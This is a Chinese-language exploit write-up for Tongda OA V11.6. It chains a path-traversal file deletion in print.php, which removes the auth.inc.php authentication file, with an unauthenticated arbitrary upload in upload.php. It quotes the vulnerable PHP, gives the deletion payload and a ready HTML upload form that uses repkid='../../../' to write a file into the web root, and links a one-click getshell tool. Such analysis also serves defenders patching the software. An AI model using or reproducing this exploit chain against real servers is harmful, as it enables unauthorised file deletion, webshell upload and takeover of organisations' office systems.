影响范围
通达OA V11.6
漏洞简介
通过任意文件漏洞删除上传点包含的身份验证文件,从而造成未授权访问实现任意文件上传
漏洞分析
任意文件删除
漏洞触发点位于module/appbuilder/assets/print.php
1 2 3 4 5 6 7 8 9 10 11 12
| $s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs"; $s_tmp .= "/" . $_GET["guid"];
if (file_exists($s_tmp)) { $arr_data = unserialize(file_get_contents($s_tmp)); unlink($s_tmp); $s_user = $arr_data["user"]; } else { echo "未知参数"; exit(); }
|
传入参数guid
通过../
进行目录穿越实现任意文件删除
payload:?guid=../../../webroot/inc/auth.inc.php
未授权访问任意文件上传
漏洞触发点位于general/data_center/utils/upload.php
第三行有个身份验证
1
| include_once "inc/auth.inc.php";
|
我们已经通过任意文件删除漏洞将其删除,然后就进入上传点
部分上传代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| if ($action == "upload") { if ($filetype == "xls") { $uploaddir = MYOA_ATTACH_PATH . "/data_center/templates/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/templates")) { if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) { mkdir(MYOA_ATTACH_PATH . "/data_center"); }
mkdir(MYOA_ATTACH_PATH . "/data_center/templates"); }
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $_FILES["FILE1"]["name"])) { } } else if ($filetype == "img") { $uploaddir = MYOA_ATTACH_PATH . "/data_center/images/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/images")) { if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) { mkdir(MYOA_ATTACH_PATH . "/data_center"); }
mkdir(MYOA_ATTACH_PATH . "/data_center/images"); }
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") { $p = strrpos($s_n, "."); $s_n = CreateId() . substr($s_n, $p); }
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) { } } else { $uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) { if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) { mkdir(MYOA_ATTACH_PATH . "/data_center"); }
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment"); }
if (isset($from_rep)) { if (($from_rep != "") && ($from_rep[0] == "{")) { $repkid = GetRepKIDBySendId($from_rep);
if ($repkid != $to_rep) { if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) { copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename); } } } else { $arr = explode(",", $from_rep);
for ($i = 0; $i < count($arr); $i++) { $p = strpos($arr[$i], "."); $repno = substr($arr[$i], 0, $p); $repkid = GetRepKIDByNo($repno);
if ($repkid != $to_rep) { if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) { copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename); break; } } } } } else { $s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") { $s_n = $repkid . "_" . $s_n; }
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) { } } }
@unlink($_FILES["FILE1"]); }
|
这串代码首先得满足$action
的值等于upload,然后便是根据不同的上传类型进行不同的操作,这里如果上传类型是xls或img时,上传的目录内容是不允许访问的,会403。所以我们选择最后一种上传方法,这个时候传入$filetype
为其它值就行。
这个时候我们不传入$from_rep就会进入else里面,代码如下
1 2 3 4 5 6 7 8
| $s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") { $s_n = $repkid . "_" . $s_n; }
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) { }
|
可以看到传的文件名为FILE1
,可以看到最终的上传路径是$repkid
拼接在前,所以我们往$repkid
传入../
就可以实现上传到任意目录,比如网站根目录
祭出祖传html上传表单
1 2 3 4 5 6 7 8
| <form action="http://192.168.117.131:8888/general/data_center/utils/upload.php" method="post" enctype="multipart/form-data"> <input type="text"name='filetype' value ='ghtwf01'></input> <input type="text"name='action' value ='upload'></input> <input type="text"name='repkid' value ='../../../'></input> <input type="file" name="FILE1"></input> <input type="submit" ></input> </body> </form>
|


一键getshell
https://github.com/ghtwf01/tdv11.6_rce
